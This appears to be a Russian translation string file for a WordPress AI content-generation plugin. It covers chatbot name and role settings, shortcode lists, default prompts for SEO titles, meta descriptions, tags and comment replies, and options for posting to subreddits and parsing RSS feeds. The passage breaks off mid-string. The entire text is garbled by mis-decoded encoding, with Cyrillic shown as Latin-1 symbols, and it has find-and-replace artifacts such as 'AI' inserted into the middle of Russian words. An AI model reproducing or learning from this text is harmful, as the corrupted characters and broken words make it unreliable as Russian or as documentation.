иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ð¹ на ОÑнове Правил».УÑтановите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей при доÑтиженAI предела иÑпользованиÑ.УÑтановите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей при доÑтиженAI предела иÑпользованиÑ.УÑтановите ПоÑÑ‚ Ð´Ð»Ñ Ð¿Ð¾ÐºÐ°Ð·Ð° пользователÑм Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð½Ñ‹Ð¼ доÑтупом.УÑтановите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI.УÑтановите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ маÑтера контента.Задайте многоÑтрочный ввод, который будет разрезан на Ñтроки и будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° нижеприведенного промпта Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ из его Ñтрок. Этот ввод будет разрезан на неÑколько Ñтрок и ÑоздаÑÑ‚ шорткод %%current_input_line%%, который можно иÑпользовать ниже. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите многоÑтрочный вход, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° AIЗадайте Ð¸Ð¼Ñ ÐÑÑиÑтента иÑкуÑÑтвенного интеллекта. Оно будет добавлÑÑ‚ÑŒÑÑ Ðº каждому Ñообщению ИИ. Это полезно Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð§Ð°Ñ‚-бота ИИ его роли и имени. СпиÑок поддерживаемых шорткодов: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды, Ñозданные по правилам других плагинов).УÑтановите Ð¸Ð¼Ñ AI. Это будет добавлено к каждому ПоÑту AI. Это полезно, чтобы научить чат-бота AI его роли и имени.Задайте имÑAI. Оно будет добавлÑÑ‚ÑŒÑÑ Ðº каждому Ñообщению AI. Это полезно Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ AI Чат-бота его роли и имени. СпиÑок поддерживаемых шорткодов: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды, Ñозданные по правилам других плагинов).Задайте Ð¸Ð¼Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð° OmniBlock Ð´Ð»Ñ ÑохранениÑ.УÑтановите Ð¸Ð¼Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹, которое будет отображатьÑÑ Ð² редакторе ПоÑтов.УÑтановите Ð¸Ð¼Ñ Ð½Ð°Ñтраиваемого полÑ, которое будет уÑтановлено Ð´Ð»Ñ ÑƒÐ¶Ðµ отредактированных ПоÑтов. Изменение Ñтого может быть полезно, еÑли вы хотите повторно редактировать уже отредактированные ПоÑÑ‚Ñ‹. По умолчанию: aiomatic_publishedУÑтановите Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ. Это будет добавлено к каждому пользовательÑкому ПоÑту. Это полезно, чтобы научить чат-бота AI его роли и имени.Задайте Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ. Оно будет добавлÑÑ‚ÑŒÑÑ Ðº каждому Ñообщению пользователÑ. Это полезно Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ AI Чат-бота его роли и имени. СпиÑок поддерживаемых шорткодов: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды, Ñозданные по правилам других плагинов).УÑтановите Ð¸Ð¼Ñ Ñтого аÑÑиÑтента.УÑтановите Ð¸Ð¼Ñ Ñтого перÑонажа.УÑтановите количеÑтво ÑвÑзанных видео YouTube, которые нужно добавить к Ñодержимому Ñозданного ПоÑта. МакÑимальное количеÑтво видео, которое вы можете добавить к каждой Ñтатье: количеÑтво РазделовУÑтановите количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать беÑплатные иÑточники изображений, наÑтроенные в меню «ОÑновные ÐаÑтройки» Плагина или еÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ доÑтуп к API DallE. Ð’Ñ‹ можете изменить иÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² поле ÐаÑтроек «ИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI» Ñнизу. МакÑимальное количеÑтво изображений, которые вы можете добавить к каждой Ñтатье: количеÑтво Разделов + 2УÑтановите количеÑтво ÑвÑзанных видео Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñозданному Ñодержимому публикации. МакÑимальное количеÑтво видео, которое вы можете добавить к каждой Ñтатье: количеÑтво РазделовУÑтановите чиÑловой идентификатор автора поÑтаУÑтановите параметры, которые будут иÑпользоватьÑÑ Ð² Ñтом OmniBlock.Укажите путь к иÑполнÑемому файлу phantomjs на вашем локальном Ñервере. ЕÑли оÑтавить Ñто поле пуÑтым, будет иÑпользоватьÑÑ Ð²Ñ‹Ð·Ð¾Ð² 'phantomjs' по умолчанию. Как уÑтановить PhantomJs? УÑтановите текÑÑ‚-заполнитель Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° чата. По умолчанию: Введите Ñвое ПоÑÑ‚ чата здеÑÑŒ.УÑтановите текÑÑ‚-заполнитель Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° в чате. По умолчанию: пуÑто.УÑтановите Типы ПоÑтов, где Ñоздавать внутренние ÑÑылки в ПоÑтах. Ð’Ñ‹ также можете добавить Разделенный запÑтыми ÑпиÑок неÑкольких Типов ПоÑтов.УÑтановите быÑтрое завершение Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ автору AI, чтобы он узнал, что может отправлÑÑ‚ÑŒ emails. Этот Промпт будет добавлен в беÑеду только тогда, когда пользователь введет в Ñообщение, отправленное AI, любое из Ñледующих ключевых Ñлов: email, e-mailУÑтановите Промпт, который будет отправлен AI при нажатии на Ñту команду в редакторе ПоÑтов. Ð’Ñ‹ также можете иÑпользовать короткий код %%selected_text%%.УÑтановите Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ запиÑи комментариев AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_excerpt%%, %%username%%, %%comment%% — по умолчанию: напиÑать ответ на комментарий %%username%% к ПоÑту. под названием "%%post_title%%". Комментарий пользователÑ: %%comment%%УÑтановите промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° избранных изображений AI по умолчанию. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%image_list%% — значение по умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð½Ð°Ñтроек: выберите URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове имени его файла, который лучше вÑего ÑоответÑтвует поÑту на оÑнове его заголовка. . ЕÑли подходÑщее изображение невозможно выбрать, выберите Ñлучайное из ÑпиÑка. Отвечайте только URL-адреÑом выбранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸ ничем больше. Заголовок поÑта: "%%post_title%%". СпиÑок URL-адреÑов изображений: %%image_list%%.УÑтановите промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов AI ЛинкованиÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: %%content%% — значение по умолчанию Ð´Ð»Ñ Ñтого полÑ: Извлечь из текÑта ÑпиÑок наиболее релевантных ключевых Ñлов, разделенных запÑтыми, Ð¾Ñ‚Ð´Ð°Ð²Ð°Ñ Ð¿Ñ€Ð¸Ð¾Ñ€Ð¸Ñ‚ÐµÑ‚ конкретным ÑÑылкам над общими ключевыми Ñловами. Добавьте наивыÑший приоритет к наиболее конкретному ключевому Ñлову, которое по-прежнему ÑвÑзано Ñ Ð¾Ñновной темой. ТекÑÑ‚: %%content%%.УÑтановите Промпт ,которыый будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ запиÑи опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð°ÐºÑономии AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% — по умолчанию: Введите опиÑание Ð´Ð»Ñ WordPress %%term_taxonomy_name%% Ñо Ñледующим заголовком: "%%term_name%%"УÑтановите Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ запиÑи SEO-опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð°ÐºÑономии AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% — по умолчанию: Введите опиÑание Ð´Ð»Ñ WordPress %%term_taxonomy_name%% Ñо Ñледующим заголовком: «%%term_name%%». Это уÑтановит опиÑание SEO Ð´Ð»Ñ Ñледующих плагинов SEO: Yoast SEO, All In One SEO, Rank Math.УÑтановите промпт, который будет иÑпользоватьÑÑ AI Создателем Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - значение по умолчанию: Создайте увлекательное и полное опиÑание на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: "%%post_title_idea%%". ПогрузитеÑÑŒ в конкретные детали, Ð¿Ð¾Ð´Ñ‡ÐµÑ€ÐºÐ¸Ð²Ð°Ñ ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ðµ оÑобенноÑти Ñтого предмета, еÑли возможно, преимущеÑтва и ценноÑÑ‚ÑŒ, которую он приноÑит. Создайте убедительное повеÑтвование вокруг %%post_type%%, которое захватит аудиторию. ИÑпользуйте HTML Ð´Ð»Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ, включайте ненумерованные ÑпиÑки и жирный шрифт. Стиль напиÑаниÑ: ТворчеÑкий. Тон: нейтральный.УÑтановите промпт, который будет иÑпользоватьÑÑ AI Создателем Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ñ‚Ñ€Ñ‹Ð²ÐºÐ°. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% — значение по умолчанию: напишите увлекательное и краткое резюме на английÑком Ñзыке Ð´Ð»Ñ WordPress %%post_type%%: "%%post_title_idea%%", Ð¿Ð¾Ð´Ñ‡ÐµÑ€ÐºÐ¸Ð²Ð°Ñ ÐµÐ³Ð¾ оÑновные оÑобенноÑти, преимущеÑтва и отличительные качеÑтва.УÑтановите промпт, который будет иÑпользоватьÑÑ AI Ñоздателем Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¼ÐµÑ‚Ð°Ð¾Ð¿Ð¸Ñаний SEO. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% — значение по умолчанию: Создайте привлекательное и лаконичное метаопиÑание в ÐнглийÑкий Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: «%%post_title_idea%%». Подчеркните примечательные оÑобенноÑти и преимущеÑтва вÑего 155 Ñимволов, включив релевантные ключевые Ñлова Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ ÑффективноÑти SEO.УÑтановите промпт, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‚ÐµÐ³Ð¾Ð² пиÑателем AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - значение по умолчанию: Предложите Ñ€Ñд релевантных ключевых Ñлов на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: "%%post_title_idea%%". Эти ключевые Ñлова должны быть теÑно ÑвÑзаны Ñ %%post_type%%, Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð¸Ñ€ÑƒÑ ÐµÐ³Ð¾ видимоÑÑ‚ÑŒ. ПожалуйÑта, предÑтавьте ключевые Ñлова в формате, разделенном запÑтыми, без иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð°ÐºÐ¸Ñ… Ñимволов, как -, # и Ñ‚. д.УÑтановите промпт, который будет иÑпользоватьÑÑ AI Создателем , Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¾Ð². ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - значение по умолчанию: Создайте увлекательный и лаконичный SEO-заголовок на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ WordPress %%post_type%%: "%%post_title_idea%%". УÑильте его видимоÑÑ‚ÑŒ в поиÑковых ÑиÑтемах Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ релевантных ключевых Ñлов Ð´Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°ÐºÑимального Ñффекта.УÑтановите промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑкÑтрактора ключевых Ñлов поиÑка видео на YouTube. Ð’Ñ‹ можете иÑпользовать Ñледующий короткий код: %%aiomatic_query%% — значение по умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð½Ð°Ñтроек: ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ°ÐºÐ¾Ðµ ключевое Ñлово или поиÑковую фразу мне Ñледует выполнить поиÑк на YouTube, чтобы получить наиболее релевантные видео Ð´Ð»Ñ Ñтого текÑта? ПредоÑтавьте единÑтвенный вариант, напишите только одно ключевое Ñлово или фразу, и ничего больше. ТекÑÑ‚: "%%aiomatic_query%%"УÑтановите Промпт, который будет отправлен Создателю Контента AI. Ð’Ñ‹ можете иÑпользовать короткие коды Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð²Ñ…Ð¾Ð´Ð½Ñ‹Ñ… значений, введенных пользователÑми в форму. Шорткоды должны быть в Ñледующем формате: %%ID_of_the_input_field%%Задайте промпт, который будет отправлен иÑкуÑÑтвенному интеллекту. Добавьте контекÑÑ‚ Ð´Ð»Ñ AI Чат-бота, чтобы он знал, как дейÑтвовать и как отвечать клиентам. ЗдеÑÑŒ можно задать Ñзык, тон голоÑа и роль AI-аÑÑиÑтента. ЗдеÑÑŒ же можно задать любые другие наÑтройки. Этот текÑÑ‚ будет добавлÑÑ‚ÑŒÑÑ Ðº каждому разговору, чтобы дать AI дополнительную информацию о Ð²Ð°Ñ Ð¸Ð»Ð¸ его поведении. Этот текÑÑ‚ не будет отображатьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм, он будет отправлен только Чат-боту. Ð’Ñ‹ также можете иÑпользовать шорткоды в Ñтом поле. СпиÑок поддерживаемых шорткодов:%%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам других плагинов).УÑтановите Промпт, который вы будете иÑпользовать при поиÑке ÑвÑзанных Заголовоков. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%post_title%%, %%needed_heading_count%%. Будет иÑпользоватьÑÑ Ñ‚Ð° же модель, что и Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ЕÑли оÑтавить Ñто поле пуÑтым, будет иÑпользоватьÑÑ ÐŸÑ€Ð¾Ð¼Ð¿Ñ‚ по умолчанию: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%'УÑтановите Промпт, который вы будете иÑпользовать при поиÑке ÑвÑзанных Заголовков. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%post_title%%, %%needed_heading_count%%. Будет иÑпользоватьÑÑ Ñ‚Ð° же модель, что и Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ЕÑли вы оÑтавите Ñто поле пуÑтым, будет иÑпользоватьÑÑ ÐŸÑ€Ð¾Ð¼Ð¿Ñ‚ по умолчанию: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%'. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правила — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.УÑтановите необходимый ÑпиÑок Ñлов, который будет применÑÑ‚ÑŒÑÑ ÐºÐ¾ вÑем Правилам Плагина.УÑтановите роль . Эта Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð¾Ñит иÑключительно информативный характер, отображаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в интерфейÑе чат-бота и не отправлÑетÑÑ AI Ñоздателю. ОбÑзательно добавьте роль в поле наÑтроек «КонтекÑÑ‚ чат-бота», чтобы она вÑтупила в Ñилу в ÑредÑтве запиÑи AI. Задайте роль AI аÑÑиÑтента. Эта Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð¾Ñит иÑключительно информационный характер, будет отображатьÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в интерфейÑе чатбота, не передаетÑÑ Ð² AI Создателе . ОбÑзательно добавьте роль в поле наÑтроек 'КонтекÑÑ‚ чатбота', чтобы она вÑтупила в Ñилу в AI Создателе.УÑтановите роль Ñтой перÑоны.УÑтановите разделитель CSV-файла. Обычно он определÑетÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки, однако, еÑли у Ð²Ð°Ñ Ð²Ð¾Ð·Ð½Ð¸ÐºÐ»Ð¸ проблемы Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑким определением, вы можете задать разделитель CSV здеÑÑŒ.УÑтановите размер Ñгенерированного избранного изображениÑ.УÑтановите размер изображениÑ, которое будет отправлено в генератор видео AI. Перед отправкой иÑходные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ изменены до выбранного размера.УÑтановите название поÑтаЗадайте Ñлаг поÑта (URL-адреÑ/название поÑта). ЕÑли вы оÑтавите Ñто поле пуÑтым, WordPress автоматичеÑки Ñгенерирует slug поÑта из плитки поÑта. Любой текÑÑ‚, который вы введете здеÑÑŒ, будет закодирован в URL, чтобы быть ÑовмеÑтимым Ñ Ñозданием slug. Длина Ñлова не должна превышать 200 Ñимволов.УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ, который будет отправлен в генератор видео.УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ, которое будет отправлено в генератор видео.УÑтановите тему пиÑьма Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸Ð—Ð°Ð´Ð°Ð¹Ñ‚Ðµ тему пиÑьма, которое будет отправлено. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите текÑÑ‚ кнопки отправки Ñтой формы.Укажите Ñубреддиты, где публиковать контент (по одному на Ñтроку).Укажите Ñубреддиты, где публиковать контент (по одному на Ñтроку).Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле анализа RSS-канала.Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ поÑтроена поÑле разбора RSS-ленты. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды, которые будут ÑоответÑтвовать значениÑм каждого Ñлемента RSS-ленты: %%item_counter%%, %%item_title%%, %%item_content%%, %%item_description%%, %%item_url%%, %%item_author%%, %%item_categories%%, %%item_scraped_data%% - шорткод %%item_scraped_data%% будет доÑтупен только при включении функции 'СпарÑить ÑÑылки' Ñнизу.Задайте шаблон результирующей Ñтроки, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ 